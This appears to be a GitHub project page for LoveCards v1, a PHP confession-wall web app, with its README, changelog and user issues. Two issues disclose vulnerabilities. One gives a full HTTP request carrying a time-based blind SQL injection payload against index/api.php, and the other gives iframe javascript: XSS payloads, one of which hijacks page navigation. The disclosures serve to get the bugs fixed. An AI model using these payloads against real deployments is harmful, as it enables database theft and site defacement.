lovecards / lovecardsv1

一个简约而不简单的表白墙程序

CZ-LoveCards

项目主页：LoveCards.cn
简介：一个简约而不简单的表白墙项目
作者留言：😭由于作者个人原因，暂时没有办法对该项目进行维护，不过项目Star到达50以后🐱‍👤，后续我会抽出时间继续更新维护该项目。
已经在搞了在搞了，因为换用技术栈的原因，作者也是边学习边开发，进度可能较为缓慢，大家可以加入交流群了解进度提出建议或创意。
LoveCards V2好了好了https://github.com/zhiguai/LoveCards 来瞅瞅❗❗

使用帮助：WIKI
注意❗：安装完成后删除install文件夹

推广与赞助

【腾讯云】

云服务器、云数据库、COS、CDN、短信等云产品特惠热卖中 前往查看

相关

QQ交流群:801235342
作者QQ:2903074366
作者博客:chizg.cn

部分功能演示：

1.新增粉色配色

2.新增邮件功能

3.卡片ID显示&快捷邮寄

（点击卡片ID即可跳转至邮寄界面并自动填写卡片ID）

更新日志

（后加“//”表示内部版本号，不带则表示发布版本号）

1.0.0/2.10

• 完成原版基础全部功能
• 去掉部分鸡肋共功能
• 新增：
• 后台表白卡编辑功能
• 后台评论编辑功能
• 后台管理员功能
• 用户表白卡搜索功能
• 门户首页“热度排名”功能

1.0.1/2.12

• 修复：
• 搜索无法中文查询
• 管理员账号无法删除
• 新增：
• 登录，评论，发卡Geetest双验证功能

1.0.1/2.13

• 新增安装引导程序

1.0.1/2.14

• 添加授权以及更新提醒

1.0.1/2.16

• 完善授权以及更新提醒

1.0.2/2.20

• 优化后台部分逻辑

1.0.2/2.21

• 修复后台系统设置问题

1.0.2/2.25

• 新增：
• 管理员后台留言条
• 自定义屏蔽规则
• 管理员数据删除开关

1.0.2/2.26

• 优化图片上传交互

(1.0.0)1.0.3/4.8//

• 修复：
• 修复前台底部插入HTML问题

(1.0.1)1.0.3/5.1//

• 修复前台表白卡界面分页问题
• 修复前台表白墙分页问题
• 修复前台表白卡空值访问问题
• 修复后台表白卡搜索,分页问题
• 修复后台评论搜索，分页问题
• 更新：
• 更改全新粉色配色

(1.0.2)1.0.3/5.2//

• 修复：
• 修复前台卡片匿名显示问题
• 更新：
• 新增邮件通知功能
• 新增卡片内id显示以及快捷邮寄按钮

(1.0.3)1.0.3/5.3//

• 更新：
• 更新安装系统
• 更改授权方式更加人性便捷

1.0.3/5.3

• 修复：
• 修复前台底部插入HTML问题
• 修复前台表白卡界面分页问题
• 修复前台表白墙分页问题
• 修复前台表白卡空值访问问题
• 修复后台表白卡搜索,分页问题
• 修复后台评论搜索，分页问题
• 修复前台卡片匿名显示问题
• 修复后台系统修改换行问题
• 更新：
• 更新安装系统
• 更改授权方式更加人性便捷
• 更改全新粉色配色
• 新增邮件通知功能
• 新增卡片内id显示以及快捷邮寄按钮

(1.0.4)1.0.3/5.15//

• 修复：
• 进一步修复后台设置违规字符问题

1.0.3.2/5.15

• 修复：
• 进一步修复后台设置违规字符问题

(1.0.5)1.0.3/5.22//

• 修复：
• 修复前后端搜索空白提交问题

1.0.3.3/5.22

• 修复：
• 修复前后端搜索空白提交问题

(1.0.6)1.0.3/5.31//

• 新增：
• 新增QQ内跳转浏览器打开功能
• 修复：
• 修复后台免密sql注入漏洞
• 优化
• 优化表白卡页面sql注入防护
• 优化表白卡页面sql注入防护
• 优化邮局页面sql注入防护
• 优化安装后删除install目录提示方式

1.0.3.4/5.31

• 新增：
• 新增QQ内跳转浏览器打开功能
• 修复：
• 修复后台免密sql注入漏洞
• 优化
• 优化表白卡页面sql注入防护
• 优化表白卡页面sql注入防护
• 优化邮局页面sql注入防护
• 优化安装后删除install目录提示方式

1.0.4/7.4

• 源码全部开源到Github
• 更改授权策略为永久免费

1.0.4.1/8.15

• 修复邮局API连接失败逻辑错误
• 修复QQ跳转关闭报错问题

1.0.4.2/9.1

-修复card文件sql注入漏洞(增加字符过滤)

1.0.4.3/10.3

-修复index/api文件sql注入漏洞 -优化IP获取函数的XFF漏洞

邮箱接口

1.0.0/5.1

• 完成

1.0.1/5.2

• 修复发送图片显示问题

lovecardsv1's Issues

你好，此项目还会维护吗‘’

你好，此项目还会维护吗‘’

发信api怎么用

发信api怎么用

SQL injection

SQL injection vulnerability in index/api.php file (time blind)

Request header information:

POST /index/api.php HTTP/1.1
Host: l.com
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://l.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://l.com/index/writeCard.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gdchbjp7dfeg4ujsvt036mjhkv; _pk_id.3.045e=0379e4693a710c47.1682491321.; _pk_ses.3.045e=1
Connection: close

state=zan&id=1' and if ((ascii(substr(database(),1,1))=108),sleep(3),1)#

Trigger condition:
In /index/api.php, when state= is not used, the received id is directly used to query the database, but there is no echo information, but the blind note of the time can be used to query the database information directly.

几点建议

1. 发信接口......我感觉群里公告说的好复杂的样子.用phpmailer,通过各大邮箱平台的smtp发送有什么问题吗?
2. 希望验证码支持更换为hcaptcha和recaptcha
3. https://matomo.fatda.cn/matomo.js 严重拖慢网站打开速度,建议把这个文件放到服务器源码里,或者干脆直接用cdn代替,https://cdn.jsdelivr.net/gh/matomo-org/[email protected]/js/piwik.min.js
4. github star数量完全不能表现使用人数,毕竟多数人(甚至包括不少站长)是不知道github的.像被倒卖无数次的duckchat在github上只有不到80个star

Some problems about security

When my friends were developing with your framework, they wanted me to test their website for bugs (my friends are not very good at PHP programming), then I found some problems with cross-site scripting attacks, or also called "XSS". In more detail, when I enter "<IFRAME SRC=javascript:alert('xss')>" in the search box and click the button, the page will display an alert. Also, when I enter "<IFRAME SRC=javascript:window.history.back(-1)>" in the content input of the confession wall, the JavaScript will run as expected, and then, others cannot enter the home page (the page will jump to its previous page). My friends think you might be able to add a protection system of network attack, but maybe it's unnecessary, who will attack a confession wall? But my friends think it's a no small problem, so I wrote this issue. In my opinion this won't be a big problem, but who knows? :-)